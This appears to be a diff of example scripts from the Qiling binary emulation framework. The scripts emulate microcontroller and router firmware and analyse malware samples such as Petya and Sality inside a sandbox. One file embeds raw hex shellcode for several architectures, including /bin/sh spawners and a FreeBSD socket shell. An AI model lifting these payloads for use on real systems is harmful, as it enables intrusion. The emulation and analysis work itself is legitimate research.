from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f411
def stm32f411_freertos():
ql = Qiling(["../rootfs/mcu/stm32f411/os-demo.hex"],
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
ql.hw.create('usart2').watch()
ql.hw.create('gpioa').watch()
ql.hw.create('rcc')
ql.hw.systick.set_ratio(100)
ql.run(count=200000)
if __name__ == "__main__":
stm32f411_freertos()
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f411
def test_mcu_gpio_stm32f411():
ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"],
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
ql.hw.create('usart2').watch()
ql.hw.create('rcc').watch()
ql.hw.create('gpioa').watch()
ql.hw.gpioa.hook_set(5, lambda: print('LED light up'))
ql.hw.gpioa.hook_reset(5, lambda: print('LED light off'))
ql.run(count=10000)
if __name__ == "__main__":
test_mcu_gpio_stm32f411()
+50
View File
@@ -0,0 +1,50 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602
from qiling.extensions.mcu.stm32f4 import stm32f411
def create(path, lcd):
ql = Qiling([path], archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEBUG)
ql.hw.create('i2c1')
ql.hw.create('rcc')
ql.hw.create('gpioa')
ql.hw.create('gpiob')
ql.hw.i2c1.watch()
ql.hw.i2c1.connect(lcd)
ql.hw.systick.set_ratio(100)
return ql
if __name__ == "__main__":
lcd = PyGameLCD1602()
## Example 1
create("../rootfs/mcu/stm32f411/i2c-lcd.hex", lcd).run(count=50000)
## Example 2
create("../rootfs/mcu/stm32f411/lcd-plus.hex", lcd).run(count=100000)
## Example 3
ql = create("../rootfs/mcu/stm32f411/i2cit-lcd.hex", lcd)
delay_start = 0x8002936
delay_end = 0x8002955
def skip_delay(ql):
ql.arch.regs.pc = delay_end
ql.hook_address(skip_delay, delay_start)
ql.run(count=100000)
lcd.quit()
@@ -0,0 +1,32 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
import time
import threading
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f411
ql = Qiling(["../../examples/rootfs/mcu/stm32f411/md5_server.hex"],
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.OFF)
ql.hw.create('usart2')
ql.hw.create('rcc')
threading.Thread(target=lambda : ql.run(count=-1)).start()
while True:
message = input('>> ').encode()
ql.hw.usart2.send(message + b'\n')
time.sleep(0.8)
print(ql.hw.usart2.recv())
@@ -0,0 +1,28 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling.core import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.mcu.stm32f4 import stm32f411
from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi
ql = Qiling(['../rootfs/mcu/stm32f411/oled12864.hex'],
archtype="cortex_m", ostype="mcu", env=stm32f411, verbose=QL_VERBOSE.DEFAULT)
ql.hw.create('rcc')
ql.hw.create('gpioa')
ql.hw.create('gpiob')
ql.hw.create('gpioc')
ql.hw.create('spi1')
oled = PyGameSSD1306Spi(dc=(ql.hw.gpioc, 7))
ql.hw.systick.ratio = 2000
ql.hw.spi1.connect(oled)
ql.run(count=1000000)
+25
View File
@@ -0,0 +1,25 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def mem_crash(ql: Qiling, access: int, address: int, size: int, value: int):
print(f'got crash')
PAGE_SIZE = ql.mem.pagesize
aligned = ql.mem.align(address)
# map the entire page containing the invalid address and fill it with 'Q's
ql.mem.map(aligned, PAGE_SIZE)
ql.mem.write(aligned, b'Q' * PAGE_SIZE)
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_linux/bin/mem_invalid_access"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
ql.hook_mem_invalid(mem_crash)
ql.run()
@@ -0,0 +1,17 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/arm64_linux/bin/arm64_multithreading"], "rootfs/arm64_linux")
@@ -0,0 +1,17 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/mips32_linux/bin/mips32_multithreading"], "rootfs/mips32_linux")
@@ -0,0 +1,17 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/mips32el_linux/bin/mips32el_multithreading"], "rootfs/mips32el_linux")
@@ -0,0 +1,13 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_windows/bin/MultiThread.exe"], "rootfs/x86_windows")
ql.run()
@@ -0,0 +1,75 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# After mapping /proc there will be a /dev/mtdblock11 missing and crash
# To fix this,
# - cd $yourfirmware_rootfs/dev
# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030
# - mkfs.ext4 mtdblock11
#
# This firmware will more or less alive now.
from colorama import Back
import struct
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling.os.posix import syscall
from qiling.os.const import UINT, POINTER
def my_syscall_write(ql, write_fd, write_buf, write_count, *rest):
if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe':
return -1
else:
return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest)
def my_bind(ql: Qiling):
params = ql.os.resolve_fcall_params({
'fd': UINT,
'addr': POINTER,
'addrlen': UINT
})
bind_fd = params['fd']
bind_addr = params['addr']
bind_addrlen = params['addrlen']
print(Back.GREEN + f'Hijack bind({bind_fd}, {bind_addr:#x}, {bind_addrlen})' + Back.RESET)
# read from memory (start_address, len)
data = ql.mem.read(bind_addr, bind_addrlen)
# custom unpack (your own ql.unpack) of a C struct from memory
# https://linux.die.net/man/7/ip -> struct
sin_family = struct.unpack("<h", data[:2])[0] or ql.os.fd[bind_fd].family
# little-endian short -> format_string -> https://docs.python.org/3/library/struct.html#format-strings
port, host = struct.unpack(">HI", data[2:8])
# big-endian unsigned short, unsigned int -> format_string
print(Back.RED + f'[*] Socket Infos:' + Back.RESET)
print(f'''
Family: {sin_family}
Port: {port} (no root: +8000)
Host-interface?: {host}
''')
return 0 # from syscall.ql_syscall_bind(ql, bind_fd, bind_addr, bind_addrlen)
def my_netgear(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, profile="netgear_6220.ql", multithread=False)
ql.os.root = False
ql.add_fs_mapper('/proc', '/proc')
ql.os.set_syscall(4004, my_syscall_write)
ql.os.set_api('bind', my_bind, QL_INTERCEPT.ENTER) # intercepting the bind call on enter
ql.run()
if __name__ == "__main__":
my_netgear(["rootfs/netgear_r6220/bin/mini_httpd",
"-d", "/www",
"-r", "NETGEAR R6220",
"-c", "**.cgi",
"-t", "300"],
"rootfs/netgear_r6220")
+13
View File
@@ -0,0 +1,13 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], "rootfs/x86_windows", libcache=True)
ql.run()
+106
View File
@@ -0,0 +1,106 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
from itertools import product
import struct
import curses
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.os.disk import QlDisk
verfication_start_ip = 0x850B
petya_2nd_stage_start = 0x8000
accepted_chars = "ABCDEFG123456789abcdefghijkmnopqrstuvwx"
def generate_key(key: bytes):
return b"".join([struct.pack("BB", (k + 0x7A)%256, k*2%256) for k in key])
def stop(ql: Qiling, addr, data):
ql.emu_stop()
def one_round(ql: Qiling, key: bytes, key_address):
gkeys = generate_key(key)
ql.mem.write(key_address, gkeys)
ql.run(begin=verfication_start_ip, end=verfication_start_ip+6)
lba37 = ql.mem.read(ql.arch.regs.sp + 0x220, 0x200)
for ch in lba37:
if ch != 0x37:
return False
return True
# In this stage, we show that the password is correct.
def third_stage(key):
def pass_red(ql, addr, data):
curses.ungetch(ord("\n"))
curses.ungetch(ord("\r"))
def input_key(ql, addr, data):
for i in key[::-1]:
curses.ungetch(i)
curses.ungetch(ord("\n"))
curses.ungetch(ord("\r"))
ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"],
"rootfs/8086",
console=False,
verbose=QL_VERBOSE.DEBUG)
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80))
ql.hook_code(pass_red, begin=0x886d, end=0x886d)
ql.hook_code(input_key, begin=0x85f0, end=0x85f0)
ql.hook_code(stop, begin=0x6806, end=0x6806)
ql.run()
# In this stage, we will crack for the password.
def second_stage(ql: Qiling):
disk = QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)
#nonce = get_nonce(disk)
verfication_data = disk.read_sectors(0x37, 1)
nonce_data = disk.read_sectors(0x36, 1)
ql.arch.regs.sp -= 0x200
verification_data_address = ql.arch.regs.sp
ql.arch.regs.sp -= 0x200
nonce_address = ql.arch.regs.sp + 0x21
ql.arch.regs.sp -= 0x20
key_address = ql.arch.regs.sp
ql.mem.write(verification_data_address, verfication_data)
ql.mem.write(nonce_address - 0x21, nonce_data)
ql.arch.stack_push(0x200)
ql.arch.stack_push(verification_data_address)
ql.arch.stack_push(0)
ql.arch.stack_push(nonce_address)
ql.arch.stack_push(key_address)
for x in product(list(accepted_chars), repeat=2):
ctx = ql.save()
# 3xMxjxXxLxoxmxAx
key = b"3xMxjxXxLxoxmx" + ("".join(x)).encode("utf-8")
print(f"Trying: {key}")
if one_round(ql, key, key_address):
print(f"Key: {key}")
return key
else:
ql.restore(ctx)
return None
# In this stage, we have to wait for petya being load to the right place.
def first_stage():
ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"],
"rootfs/8086",
console=False,
verbose=QL_VERBOSE.DEBUG)
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80))
# Workaround for `until` in uc_emu_start not working with dynamic loaded code.
ql.hook_code(stop, begin=petya_2nd_stage_start, end=petya_2nd_stage_start)
ql.run()
return ql
if __name__ == "__main__":
ql = first_stage()
key = second_stage(ql)
third_stage(key)
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/RegDemo.exe"], "rootfs/x86_windows")
+215
View File
@@ -0,0 +1,215 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
from unicorn import UcError
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.os.const import POINTER, DWORD, STRING, HANDLE
from qiling.os.windows import utils
from qiling.os.windows.api import *
from qiling.os.windows.fncc import *
from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile
def init_unseen_symbols(ql: Qiling, address: int, name: str, ordinal: int, dll_name: str):
ql.loader.import_symbols[address] = {
"name": name,
"ordinal": ordinal,
"dll": dll_name.partition('.')[0]
}
ql.loader.import_address_table[dll_name][name] = address
if ordinal != 0:
ql.loader.import_address_table[dll_name][ordinal] = address
# HANDLE CreateThread(
# LPSECURITY_ATTRIBUTES lpThreadAttributes,
# SIZE_T dwStackSize,
# LPTHREAD_START_ROUTINE lpStartAddress,
# __drv_aliasesMem LPVOID lpParameter,
# DWORD dwCreationFlags,
# LPDWORD lpThreadId
# );
@winsdkapi(cc=STDCALL, params={
'lpThreadAttributes' : LPSECURITY_ATTRIBUTES,
'dwStackSize' : SIZE_T,
'lpStartAddress' : LPTHREAD_START_ROUTINE,
'lpParameter' : LPVOID,
'dwCreationFlags' : DWORD,
'lpThreadId' : LPDWORD
})
def hook_CreateThread(ql: Qiling, address: int, params):
# set thread handle
return 1
# HANDLE CreateFileA(
# LPCSTR lpFileName,
# DWORD dwDesiredAccess,
# DWORD dwShareMode,
# LPSECURITY_ATTRIBUTES lpSecurityAttributes,
# DWORD dwCreationDisposition,
# DWORD dwFlagsAndAttributes,
# HANDLE hTemplateFile
# );
@winsdkapi(cc=STDCALL, params={
'lpFileName' : LPCSTR,
'dwDesiredAccess' : DWORD,
'dwShareMode' : DWORD,
'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES,
'dwCreationDisposition' : DWORD,
'dwFlagsAndAttributes' : DWORD,
'hTemplateFile' : HANDLE
})
def hook_CreateFileA(ql: Qiling, address: int, params):
lpFileName = params["lpFileName"]
if lpFileName.startswith("\\\\.\\"):
if ql.amsint32_driver:
return 0x13371337
else:
return (-1)
else:
ret = _CreateFile(ql, address, params)
return ret
def _WriteFile(ql: Qiling, address: int, params):
ret = 1
hFile = params["hFile"]
lpBuffer = params["lpBuffer"]
nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"]
lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"]
#lpOverlapped = params["lpOverlapped"]
if hFile == 0xfffffff5:
s = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
ql.os.stdout.write(s)
ql.os.stats.log_string(s.decode())
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite)
else:
f = ql.os.handle_manager.get(hFile)
if f is None:
# Invalid handle
ql.os.last_error = 0xffffffff
return 0
else:
f = f.obj
buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
f.write(bytes(buffer))
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4)
return ret
@winsdkapi(cc=STDCALL, params={
'hFile' : HANDLE,
'lpBuffer' : LPCVOID,
'nNumberOfBytesToWrite' : DWORD,
'lpNumberOfBytesWritten' : LPDWORD,
'lpOverlapped' : LPOVERLAPPED
})
def hook_WriteFile(ql: Qiling, address: int, params):
hFile = params["hFile"]
lpBuffer = params["lpBuffer"]
nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"]
lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"]
if hFile == 0x13371337:
buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
try:
nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer)
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4)
except Exception:
ql.log.exception("")
r = False
else:
r = True
return int(r)
else:
return _WriteFile(ql, address, params)
# BOOL StartServiceA(
# SC_HANDLE hService,
# DWORD dwNumServiceArgs,
# LPCSTR *lpServiceArgVectors
# );
@winsdkapi(cc=STDCALL, params={
'hService' : SC_HANDLE,
'dwNumServiceArgs' : DWORD,
'lpServiceArgVectors' : POINTER
})
def hook_StartServiceA(ql: Qiling, address: int, params):
try:
hService = params["hService"]
service_handle = ql.os.handle_manager.get(hService)
if service_handle.name == "amsint32":
if service_handle.name in ql.os.services:
service_path = ql.os.services[service_handle.name]
service_path = ql.os.path.transform_to_real_path(service_path)
ql.amsint32_driver = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG)
ntoskrnl = ql.amsint32_driver.loader.get_image_by_name("ntoskrnl.exe")
assert ntoskrnl, 'ntoskernl.exe was not loaded'
init_unseen_symbols(ql.amsint32_driver, ntoskrnl.base+0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe")
#ql.amsint32_driver.debugger= ":9999"
try:
ql.amsint32_driver.load()
return 1
except UcError as e:
print("Load driver error: ", e)
return 0
else:
return 0
else:
return 1
except Exception as e:
ql.log.exception("")
print (e)
def hook_stop_address(ql):
print(" >>>> Stop address: 0x%08x" % ql.arch.regs.arch_pc)
ql.emu_stop()
if __name__ == "__main__":
ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG, libcache=True)
# for this module
ql.amsint32_driver = None
# emulate some Windows API
ql.os.set_api("CreateThread", hook_CreateThread)
ql.os.set_api("CreateFileA", hook_CreateFileA)
ql.os.set_api("WriteFile", hook_WriteFile)
ql.os.set_api("StartServiceA", hook_StartServiceA)
#init sality
ql.hook_address(hook_stop_address, 0x40EFFB)
ql.run()
# run driver thread
# execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll).
# Set ExitThread exit code to 0
ql.os.fcall = ql.os.fcall_select(STDCALL)
ql.os.fcall.writeParams(((DWORD, 0),))
ql.hook_address(hook_stop_address, 0x4055FA)
ql.run(0x4053B2)
ql.log.info("test kill thread")
if ql.amsint32_driver:
utils.io_Write(ql.amsint32_driver, ql.pack32(0xdeadbeef))
# TODO: Should stop at 0x10423, but for now just stop at 0x0001066a
ql.amsint32_driver.hook_address(hook_stop_address, 0x0001066a)
# TODO: not sure whether this one is really STDCALL
ql.amsint32_driver.os.fcall = ql.amsint32_driver.os.fcall_select(STDCALL)
ql.amsint32_driver.os.fcall.writeParams(((DWORD, 0),))
ql.amsint32_driver.run(begin=0x102D0)
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def run_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.run(end=0x7fffb7e98af4)
if __name__ == "__main__":
run_sandbox(["rootfs/arm64_linux/bin/arm64_hello"], "rootfs/arm64_linux")
+107
View File
@@ -0,0 +1,107 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE
X86_LIN = bytes.fromhex('31c050682f2f7368682f62696e89e3505389e1b00bcd80')
X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05')
MIPS32EL_LIN = bytes.fromhex('''
ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e
2f7368
''')
X86_WIN = bytes.fromhex('''
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c
617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920
01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475
e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff
e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5
3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300
''')
X8664_WIN = bytes.fromhex('''
fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52
183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1
c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0
746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d
31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b
40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e
595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7
c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5
4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373
616765426f7800
''')
ARM_LIN = bytes.fromhex('''
01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27
0221301c01df0139fbd505a0921a05b469460b2701dfc046020012340a000202
2f73797374656d2f62696e2f736800
''')
ARM64_LIN = bytes.fromhex('''
420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2
681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1
65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001
2f62696e2f736800
''')
X8664_FBSD = bytes.fromhex('''
6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c210
0f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8
523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48
ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05
''')
X8664_MACOS = bytes.fromhex('''
4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b
0f05
''')
if __name__ == "__main__":
print("\nLinux ARM 64bit Shellcode")
ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
ql.run()
print("\nLinux ARM 32bit Shellcode")
ql = Qiling(code=ARM_LIN, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
ql.run()
print("\nLinux x86 32bit Shellcode")
ql = Qiling(code=X86_LIN, archtype=QL_ARCH.X86, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
ql.run()
print("\nLinux MIPS 32bit EL Shellcode")
ql = Qiling(code=MIPS32EL_LIN, archtype=QL_ARCH.MIPS, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
ql.run()
print("\nLinux x86-64 Shellcode")
ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
ql.run()
print("\nWindows x86 Shellcode")
ql = Qiling(code=X86_WIN, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x86_windows')
ql.run()
print("\nWindows x86-64 Shellcode")
ql = Qiling(code=X8664_WIN, archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x8664_windows')
ql.run()
# FIXME: freebsd sockets are currently broken.
#
# print("\nFreeBSD x86-64 Shellcode")
# ql = Qiling(code=X8664_FBSD, archtype=QL_ARCH.X8664, ostype=QL_OS.FREEBSD, verbose=QL_VERBOSE.DEBUG)
# ql.run()
# FIXME: macos shellcode loader is currently broken
#
# print("\nMacOS x86-64 Shellcode")
# ql = Qiling(code=X8664_MACOS, archtype=QL_ARCH.X8664, ostype=QL_OS.MACOS, verbose=QL_VERBOSE.DEBUG)
# ql.run()
+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import pickle
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER
from qiling.os.uefi.utils import execute_protocol_notifications, signal_event
def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params):
event_id = params['Event']
if event_id in ql.loader.events:
# let's force notify
event = ql.loader.events[event_id]
event['Guid'] = params["Protocol"]
event["Set"] = False
signal_event(ql, event_id)
execute_protocol_notifications(ql, True)
return EFI_SUCCESS
return EFI_INVALID_PARAMETER
def my_onenter(ql: Qiling, address: int, params):
print(f'[onenter] CopyMem : params = {params}')
return address, params
if __name__ == "__main__":
with open("rootfs/x8664_efi/rom2_nvar.pickel", 'rb') as f:
env = pickle.load(f)
ql = Qiling(["rootfs/x8664_efi/bin/TcgPlatformSetupPolicy"], "rootfs/x8664_efi", env=env, verbose=QL_VERBOSE.DEBUG)
ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify)
ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER)
ql.run()
+86
View File
@@ -0,0 +1,86 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
# 2. unzip
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
# 4. locate squashfs-root
# 5. rm -rf webroot && mv webroot_ro webroot
#
# notes: we are using rootfs in this example, so rootfs = squashfs-root
#
import os, socket, threading
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def patcher(ql: Qiling):
br0_addr = ql.mem.search("br0".encode() + b'\x00')
for addr in br0_addr:
ql.mem.write(addr, b'lo\x00')
def nvram_listener():
server_address = 'rootfs/var/cfm_socket'
data = ""
try:
os.unlink(server_address)
except OSError:
if os.path.exists(server_address):
raise
# Create UDS socket
sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
sock.bind(server_address)
sock.listen(1)
while True:
connection, _ = sock.accept()
try:
while True:
data += str(connection.recv(1024))
if "lan.webiplansslen" in data:
connection.send('192.168.170.169'.encode())
else:
break
data = ""
finally:
connection.close()
def myvfork(ql: Qiling):
regreturn = 0
ql.log.info("vfork() = %d" % regreturn)
return regreturn
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
ql.hook_address(patcher, ql.loader.elf_entry)
# $ gdb-multiarch -q rootfs/bin/httpd
# gdb> set remotetimeout 100
# gdb> target remote localhost:9999
ql.debugger = False
if ql.debugger == True:
ql.os.set_syscall("vfork", myvfork)
ql.run()
if __name__ == "__main__":
nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True)
nvram_listener_therad.start()
my_sandbox(["rootfs/bin/httpd"], "rootfs")
+65
View File
@@ -0,0 +1,65 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import os
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap
def my_abort(msg):
print(f"\n*** {msg} ***\n")
os.abort()
def enable_sanitized_heap(ql, fault_rate=0):
heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=fault_rate)
heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected')
heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected')
heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected')
heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected')
# make sure future allocated buffers are not too close to UEFI data
heap.alloc(0x1000)
ql.os.heap = heap
ql.loader.dxe_context.heap = heap
def sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG):
env = {'FaultType': fault_type}
ql = Qiling([path], rootfs, env=env, verbose=verbose)
enable_sanitized_heap(ql)
ql.run()
if not ql.os.heap.validate():
my_abort("Canary corruption detected")
def usage():
print("""
Usage: ./uefi_santizied_heap.py <fault-type>
Valid fault types:
0 - POOL_OVERFLOW_MEMCPY
1 - POOL_UNDERFLOW_MEMCPY
2 - POOL_OVERFLOW_USER
3 - POOL_UNDERFLOW_USER
4 - POOL_OOB_READ_AHEAD
5 - POOL_OOB_READ_BEHIND
6 - POOL_DOUBLE_FREE
7 - POOL_INVALID_FREE
""")
sys.exit(0)
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
fault_type = bytes([int(sys.argv[1])])
rootfs = os.path.join(os.getcwd(), 'rootfs', 'x8664_efi')
path = os.path.join(rootfs, 'bin', 'EfiPoolFault.efi')
sanitized_emulate(path, rootfs, fault_type, verbose=QL_VERBOSE.DEBUG)
+14
View File
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_windows/bin/UselessDisk.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
ql.run()
@@ -0,0 +1,19 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
def stopatkillerswtich(ql: Qiling):
